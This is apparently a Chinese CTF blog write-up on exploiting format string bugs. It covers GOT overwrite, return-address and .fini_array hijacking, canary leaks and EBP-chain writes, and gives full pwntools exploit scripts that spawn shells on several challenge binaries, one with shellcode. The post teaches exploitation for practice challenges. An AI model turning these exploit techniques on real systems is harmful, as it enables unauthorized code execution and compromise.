格式化字符串漏洞小总结(下)

作者: Chumen77's Blog  更新时间:2020-04-03 16:59:50  原文链接


接着上一篇,这一篇主要记录一下对于这个漏洞的利用和ctf赛题中常见的套路和考法。

格式化字符串在栈上

劫持got

  • 每次 call libc 中的函数时都会去GOT表中查询来找出程序下一步要jmp的位址
  • 可以通过 fmt 构造写入一个目标地址,改掉 GOT 表上的地址使得call该函数时变成jmp到我们要的目标地址去
    例如 :
    将 printf 改成 system,原本 printf (“sh’’)就直接变成 system (“sh”),便可以拿到shell。

    这一攻击过程可以分为以下几个步骤:
  • 确定一下printf函数的GOT表的地址,如图中是 0x804a010
  • 确定一下system函数的内存地址或者plt(通常都需要泄漏一下libc的基地址,然后加上偏移算出,当然也会遇到程序直接存在system函数,那么就是plt)
  • 在栈上构造出printf函数GOT表的地址
  • 利用fmt漏洞修改printf函数GOT表上的地址

然后看一个例题:

inndy-echo

保护和arch

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-10Ch]
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(&s, 256, stdin);
    printf(&s);
  }
  while ( strcmp(&s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

可以看到会无限的打印你输入的东西,那就意味着可以无限次触发这个漏洞。并且还有system这个函数,那可以直接找其plt。

攻击思路:

  • 在栈上放好printf函数的GOT表地址,并确定一下偏移
  • 改这个GOT上的地址为system函数的plt
  • 改好一会,传送一个 /bin/sh ,此时就会变成 system(/bin/sh)

在执行的过程中需要注意一下,改GOT表上的值 要单次printf多次写入 ,否则只改一般程序会出现无法预料的情况。还有就是需要注意一下 字节对齐

gdb调试

gdb-peda$ stack 0x20
0000| 0xffffd250 --> 0xffffd26c ("AAAA\n")
0004| 0xffffd254 --> 0x100
0008| 0xffffd258 --> 0xf7fb25a0 --> 0xfbad208b
0012| 0xffffd25c --> 0x0
0016| 0xffffd260 --> 0xf7ffd000 --> 0x23f40
0020| 0xffffd264 --> 0x80482e7 ("__libc_start_main")
0024| 0xffffd268 --> 0xf63d4e2e
0028| 0xffffd26c ("AAAA\n")
gdb-peda$ fmtarg 0xffffd26c
The index of format argument : 7 ("\%6$p")

确定偏移是7,但需要注意字节对齐,打算一会在写payload时候,就 ().ljust 补成0x20的 a ,也就是 offset = 7 + 0x20/4 = 15

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./echo')
io = remote('node3.buuoj.cn',26990)
system_plt = 0x08048400
printf_got = 0x0804A010

def fmt_short(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result

prev = 0 
payload = ""
key = 0x08048400
for i in range(2):
    payload +=fmt_short(prev,(key >> 16*i) & 0xffff,15+i) 
    prev = (key >> i*16) & 0xffff

payload = payload.ljust(0x20,'a') + p32(printf_got) + p32(printf_got+2)
raw_input('->')
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()

换一种就是用pwntools中针对格式化字符串漏洞利用模块中的函数 fmtstr_payload ,面对32位,这种情况还是很好用的:

from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
# io = process('./echo')
io = remote('node3.buuoj.cn',26990)
system_plt = 0x08048400
printf_got = 0x0804A010
payload = fmtstr_payload(7,{printf_got : system_plt})
io.sendline(payload)
io.send('/bin/sh\x00')
io.interactive()

可以看一下其生成的payload,把目标地址信息放在开头,在64位是肯定是不可行的。(不过听说pwntools的新版本是已经支持64位了,但是本人一直没有更新成功,所以也没有测试)

劫持retaddress

顾名思议,就是利用格式化串漏洞来修改函数的返回地址到我们想要jmp的地址。常见套路:

system(/bin/sh)

看一个简单的例子:

三个白帽 - pwnme-k0

保护和arch

Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64位程序,且开启了RELRO保护,这样就无法修改got表了。

ida分析

这个程序实现了一个注册用户的功能,注册好后可以来展示用户信息,修改用户信息,和退出程序。其中在展示用户信息当中,存在格式化字符串漏洞:

int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
  write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
  printf(&formata, "Welc0me to sangebaimao!\n");
  return printf(&a9 + 4);
}

并且发现其中输出的buf就是你输入的密码:

还发现其中有个后门函数:

会调用system函数给你shell,那攻击思路也就是去修改程序中某个函数的返回地址,直接返回到这里就拿到shell了。

gdb调试:

定位到这个存在漏洞的printf当中,确定一下:

看一下此时的栈情况,输入的usename可以确定偏移是8,并且rdi也是指向了存放password的地址。

然后发现栈上也有很多栈的地址信息,当程序第二次运行到这里的时候,发现这里esp对应的地址信息也是不会变的。所以就可以通过泄漏这里的值来算出存放ret address的栈地址。

然后让程序运行到修改用户信息的函数,这下把ret address的point放到栈上,接着就可以开始修改ret address的值了。

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
io = process('./pwnme_k0')
# context.clear(arch = 'amd64')
io.recvuntil('lenth:20): \n')
io.sendline('%0006$lx')
io.recvuntil('lenth:20): \n')
io.sendline('11111111')
io.recvuntil('>')
io.sendline('1')
# io.recvuntil('Welc0me to sangebaimao!\n')
stack = int(io.recvline_contains('7f'),16)
print(stack)
ret_add = stack - 0x38
# system_add = 0x04008AA
payload = '%2218c%8$hn'
io.recvuntil('>')
io.sendline('2')
io.recvuntil('lenth:20): \n')
io.sendline(p64(ret_add))
io.recvuntil('lenth:20): \n')
io.sendline(payload)
io.recvuntil('>')
io.sendline('1')
io.interactive()

修改 FINI_ARRAY

在上面的两个例子中可以发现,之所以能成功利用格式化字符串漏洞getshell,很多时候都是因为程序中存在循环,让我们可以多次触发格式化字符串漏洞。如果程序中不存在循环呢?利用ROP劫持函数返回地址到start可以实现;当存在格式化字符串漏洞时,使用这个漏洞也做到这一

点。

简单地说,一个程序在调用 main函数前会调用 .init 段代码和 .init_array 段的函数数组中每一个函数指针。同样的,main 函数结束后也会调用 .fini 段代码和 .fini_arrary 段的函数数组中的每一个函数指针。

其中 FINI_ARRAY 区:程序结束需要经过这里,是可以修改一下这里的析构函数。修改 .fini_array 区的第一个元素为start,就可以实现让程序从头再来一次,也就又可以用一次漏洞。

需要注意的是,这个区的内容在再次从start开始执行后又会被修改。

mma-ctf-2nd-2016-greeting

保护和arch

Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-84h]
  char v5; // [esp+5Ch] [ebp-44h]
  unsigned int v6; // [esp+9Ch] [ebp-4h]

  v6 = __readgsdword(0x14u);
  printf("Please tell me your name... ");
  if ( !getnline(&v5, 64) )
    return puts("Don't ignore me ;( ");
  sprintf(&s, "Nice to meet you, %s :)\n", &v5);
  return printf(&s);
}

发现函数在触发格式化字符串漏洞以后就结束了,没有在调用其他的函数,也就无法利用GOT劫持或者修改ret addr。

再看下getnline函数:

size_t __cdecl getnline(char *s, int n)
{
  char *v3; // [esp+1Ch] [ebp-Ch]

  fgets(s, n, stdin);
  v3 = strchr(s, 10);
  if ( v3 )
    *v3 = 0;
  return strlen(s);
}

发现有了strlen的函数,并且其参数也是可以控制的。

这就有了攻击思路,在触发格式化字符串的漏洞时:

.fini_array
/bin/sh

注意的是,这个 .fini_array 区的内容在再次从start开始执行后又会被修改,且程序可读取的字节数有限,因此需要同时修改两个地址,也就是单次printf多次写入,这个题并且需要合理调整payload。

gdb调试

这个题目因为前面有

sprintf(&s, "Nice to meet you, %s :)\n", &v5);

所以其栈上会放上 Nice to meet you, 的字符串,此时需要注意对齐。对齐后发现偏移为12,在写payload的时候可以使用单次printf多次写入的脚本,所以来 ().ljust(0x32,'a') ,所以偏移需要加上 (0x32 - 2)/4 = 24

exp

from pwn import *
context.arch = 'i386'
context.log_level = 'debug'
io = process('./greeting')
# io = remote('111.198.29.45',42729)
elf = ELF('./greeting')
strlen_got = 0x08049A54
fini_array = 0x08049934
start = 0x080484F0
system_plt = 0x08048490
offset = 12
def fmt_short(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result
key1 = 0x08048490
prev = 18 #注意这个题在可控格式化字符串前有字符输出
payload = ""
for i in range(2):
    payload +=fmt_short(prev,(key1 >> 16*i) & 0xffff,24+i) 
    prev = (key1 >> i*16) & 0xffff
key2 = 0x84F0
for i in range(1):
    payload +=fmt_short(prev,(key2 >> 16*i) & 0xffff,26+i) 
    prev = (key2 >> i*16) & 0xffff
payload = payload.ljust(0x32,'a')
payload += p32(strlen_got) + p32(strlen_got+2) +p32(fini_array)
io.recvuntil('name...')
raw_input('->')
io.sendline(payload)
io.recvuntil('name...')
io.sendline('/bin/sh\x00')
io.interactive()

小tips

绕过canary

可以利用fmt漏洞,任意读的特性,在有canary的程序中,算好偏移以后读出canary存的检验值(基本都是以00结尾比较好找),然后在buffer overflow 时,在对应位置填上canary检验值,即可绕过canary。

printf家族的其他函数

首先要记得一点函数参数的入栈顺序,大多是从右到左依次入栈,在遇到其他的printf类函数,在确定偏移时,一定要要把握fmt是在栈上的那个位置,然后进行计算偏移(不能简单的利用pwndbg的fmtarg了)。

  • fprintf:基本上一样,只是format string 不在第一参数,使得overwrite function table 时很难使用
  • sprintf:可以用%xxc 来造成新的buffer overflow

劫持 __stack_chk_fail

__stack_chk_fail
__stack_chk_fail

格式化字符串不在栈上

有时候并不会这么刚好 format string 的 buf 在栈上当其在 data, bss 或是 heap 上的情况,无法在 stack 中放上一个 address 给任意读写的时候,可以使用在 stack 上现有的 pointer 进行写值。其中最常用的就是栈上现有的EBP链。

EBP链

正如这个图,当一个程序完成了由main—>A—>B的函数调用,栈上就会存在一个EBP链,像图中的ebp3(B)—>ebp2(A)—>ebp1(main),然后

  • 通过找准offset1(算一下ebp3与fmt字符串距离)对EBP2使用%hhn,就可以修改到EBP1的最低位,使得EBP1在一个256的范围内进行变化,可以改成你想要修改的栈内存单元指针(比如ret address的栈指针)。
  • 改写好EBP1后,找准offset2 (算一下EBP2与fmt字符串距离)再对EBP1使用%hhn或者%hn,即可完成对你想要修改的地址的写值。

简单来说,这个攻击过程就是第一次使用漏洞是构造出我们要读写的地址,再一次则是对前面构造出来的地址进行任意读写。但需要注意的是, 在这个过程当中一定要学会对栈上的已有数据的灵活的运用

接下来看一个题来仔细分析一下

hitcontraining-playfmt

保护和arch

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

没有任何保护。

ida分析

int do_fmt()
{
  int result; // eax

  while ( 1 )
  {
    read(0, buf, 0xC8u);
    result = strncmp(buf, "quit", 4u);
    if ( !result )
      break;
    printf(buf);
  }
  return result;
}

其中看到buf在bss段:

这就是不在栈上,不能跟前面的题目一样,直接在栈上写上地址,然后来完成攻击。

上层有main 和play函数,一共三层,且在第三层的do-fmt函数存在格式化字符串漏洞,让我们很方便的用ebp链来完成攻击。然后,有无限次的触发这个漏洞的机会。

攻击思路 :因为没有开nx保护,可以用shellcode进行攻击。修改某个函数返回地址,然后提前在可控的buf合适的地方摆上shellcode,然后跳上去即可。

gdb调试

定位到printf函数处:

gdb-peda$ b *0x0804854F
Breakpoint 1 at 0x804854f

可以看一下此时的栈情况:

esp寄存器:

这里就把 0xffffd338 叫做ebp3, 0xffffd348 为ebp2, 0xffffd358 为ebp1。

第一次修改:对ebp2使用 %xxhhn 修改ebp1为do-fmt函数的retaddr 0xffffd33c栈指针 (这个栈指针可以通过leak一个栈地址,然后根据偏移算出来)

第二次修改 : 对ebp1使用 %xxhn 修改retaddr 0x80485ad 为你在buf处提前摆上的shellcode

这样程序在退出这个do-fmt函数就会jmp到shellcode上,这样就拿到shell了。

exp

from pwn import *
import time
context.log_level = 'debug'
context.arch = 'i386'
io = process('./ebp')
# io = remote('node3.buuoj.cn',29994)
buf = 0x0804a080 + 0x40 #0x804a0c0
raw_input('->')
io.sendline('%4$p')
ret_stack_addr = int(io.recv(10),16) - 28
print('leak ret_stack_addr:'+hex(ret_stack_addr))
key1 = int(str(hex(ret_stack_addr))[-2:],16)
key2 = 0xa0c0
payload = '%{}c%4$hhn'.format(key1)
raw_input('->')
io.sendline(payload)
io.recv()
payload = '%{}c%12$hn'.format(key2)
payload = payload.ljust(0x40) 
payload +=  asm(shellcraft.sh())
io.sendline(payload)
io.interactive()

这个题目就是很单纯的直接利用ebp链进行攻击即可。

然后再看一个有点不一样的题目:

inndy-echo3

保护和arch

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

这一处会让栈结构的情况变得无法预测。然后进入hardfmt:

for ( i = 0; i <= 4; ++i )
  {
    read(0, buff, 0x1000u);
    printf(buff);
  }

这一处存在fmt漏洞,且往下看整个程序感觉没什么好利用的,没什么后门函数。那攻击思路就可以是: 改printf的got表,然后在第5次传过去 /bin/sh 即可。

(这个题目思路还是很简单的,但是栈的随机化,还有因为这个次数的限制,在实际操作过程中,要充分的利用每一次格式化字符串漏洞,让这个题目不是很容易做)

gdb分析

定位到漏洞printf函数处:

会发现这个情况是没有 构成ebp链 的,这个时候就需要咱们自己来仔细观察栈上的数据,然后来挑选合适的栈数据来进行利用。

因为栈情况不一样,可以选择最适合我们利用漏洞的栈空间来进行分析,这样做起来会简单一些。

我自己选择在偏移在43的时候开始进行分析,想办法来利用这个漏洞:

仔细看下此时的栈情况 ,然后再次仔细分析下我们的目标 :

  • 泄漏libc基址,计算出system的内存地址。
  • 在栈上构造出printf的got地址和printf的got+2的地址(0x0804a014和0x0804a016)
  • 在构造的got地址上,开始写system地址
    由于这个漏洞可以的用的次数最多是4次,所以要尽可能利用每一次。

如上图所示,很简单就可以泄漏出libc基址。

但是接下来怎么构造printf的got地址和printf的got地址+2的地址就有点难了。

此时注意图上前两个红框,可以发现把前二个红框 虽不是ebp 的链,但是这也是 成一个链 可以利用了。然后可以把第二个红框的两个地址修改为 第一个红框的两个栈指针:

这里可以用gdb直接来手动设置,让咱们上来就写exp调试还是挺费劲的:

gdb-peda$ set *0xffbe5e6c = 0xffbe5d54
gdb-peda$ set *0xffbe5e64 = 0xffbe5d60

这个过程中在泄漏目标栈地址以后,是可以通过一次printf函数写入2次地址,实现这个栈情况的。

接着就可以构造got地址和got+2地址:

gdb-peda$ set *0xffbe5d60  = 0x0804a016
gdb-peda$ set *0xffbe5d54  = 0x0804a014

然后就可以利用对got地址和got+2地址使用 %xhn ,写system的内存地址上printf的got了:

0120| 0xffbe5d88 --> 0xffbe5e6c --> 0xffbe5d54 --> 0x804a014 --> 0xf7e0cda0 (<__libc_system>:    sub    esp,0xc)

写好以后,再传过去一下 /bin/sh 即可。

exp

from pwn import *
context.log_level = 'debug'
context.arch ='i386'
import time
elf = ELF('./echo3')
debug = 1
while True:
    if debug :
        io = process('./echo3')
        libc = elf.libc
    else:
        io = remote('node3.buuoj.cn',25057)
        libc = ELF('./libc-2.23.so.i386')
    payload = '%43$pA%30$pA%47$p'
    io.sendline(payload)
    address = io.recvline().strip()
    if address[-3:] == '637':
        if address[7:10] == '637':
            libc_base = int(address[2:10],16) - 247 - libc.symbols['__libc_start_main']
            tag1_stack_point = int(address[13:21],16) - 0x118
            tag2_stack_point = int(address[13:21],16) - 0x104 - 0x8
            system_addr = libc_base + libc.symbols['system']
            print('system_addr  ->' + hex(system_addr))
            print('tag1_stack_point ->' + hex(tag1_stack_point))
            print('tag2_stack_point ->' + hex(tag2_stack_point))
            break
    else :
        io.close()
        continue
def fmtshort(prev,val,idx,byte = 2):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hn"
    return result
def fmtbyte(prev,val,idx,byte = 1):
    result = ""
    if prev < val :
        result += "%" + str(val - prev) + "c"
    elif prev == val :
        result += ''
    else :
        result += "%" + str(256**byte - prev + val) + "c"
    result += "%" + str(idx) + "$hhn"
    return result
printf_got = 0x0804a014
key1 = int(hex(tag1_stack_point)[-4:],16)
key2 = int(hex(tag2_stack_point)[-4:],16)
info('--------change the two points to tag_stack_point:-------')
# raw_input('->')
prev = 0
payload = ""
for i in range(1):
    payload +=fmtshort(prev,(key1 >> 16*i) & 0xffff,30+i) 
    prev = (key1 >> i*16) & 0xffff
for i in range(1):
    payload +=fmtshort(prev,(key2 >> 16*i) & 0xffff,31+i) 
    prev = (key2 >> i*16) & 0xffff
payload = payload + '1111'
io.sendline(payload)
io.recvuntil('1111')
info('--------change got_table to printf_got:-------')
prev = 0 
payload = ""
key3 = 0x14
key4 = 0x16
for i in range(1):
    payload +=fmtbyte(prev,(key3 >> 8*i) & 0xff,87+i) 
    prev = (key3 >> i*8) & 0xff
for i in range(1):
    payload +=fmtbyte(prev,(key4 >> 8*i) & 0xff,85+i) 
    prev = (key4 >> i*8) & 0xff
payload = payload + '2222'
io.sendline(payload)
io.recvuntil('2222')
info('--------change printf_got to system_addr:-------')
raw_input('->')
prev = 0 
payload = ""
key5 = int(hex(system_addr)[-4:],16)
key6 = int(hex(system_addr)[2:6],16)
print('key5 -> ' + hex(key5))
print('key6 -> ' + hex(key6))
for i in range(1):
    payload +=fmtshort(prev,(key5 >> 16*i) & 0xffff,17+i) 
    prev = (key5 >> i*16) & 0xffff
for i in range(1):
    payload +=fmtshort(prev,(key6 >> 16*i) & 0xffff,20+i) 
    prev = (key6 >> i*16) & 0xffff
payload = payload + '3333'
io.sendline(payload)
sleep(1)
io.recvuntil('3333')
raw_input('>>>>>>>>>>')
io.sendline('/bin/sh\x00\x00\x00\x00\x00\x00')
io.interactive()

这个exp的难点在于:

  • 注意去定位到合适的栈结构再去利用
  • 尽量充分利用每一次的printf
  • 单次printf多次写入
  • 注意每次传数据过去后,一定要接收一下,并且再一次的数据读入要防止bss上的缓冲区里面参杂数据的影响。

小总结

通过这两个例题说明,面对fmt的buf不在栈上时,归根结底也就是一定要学会 灵活、充分的利用栈上的数据 ,单纯的ebp链只是适合简单的情况。

但是也是做题时,也是一定要优先考虑ebp链是否能利用,因为ebp链构成的话,它的相对偏移就是 针对性程序本身的 ,基本不会受到libc版本的影响,用起来很好用,要优先考虑。

还有就是面对这种会 有随机栈情况、没有ebp链 的题目,一定要注意本地和远程的libc版本、注意环境,因为这些不一样导致栈的情况也是不一样的,导致exp也要有相应的变化。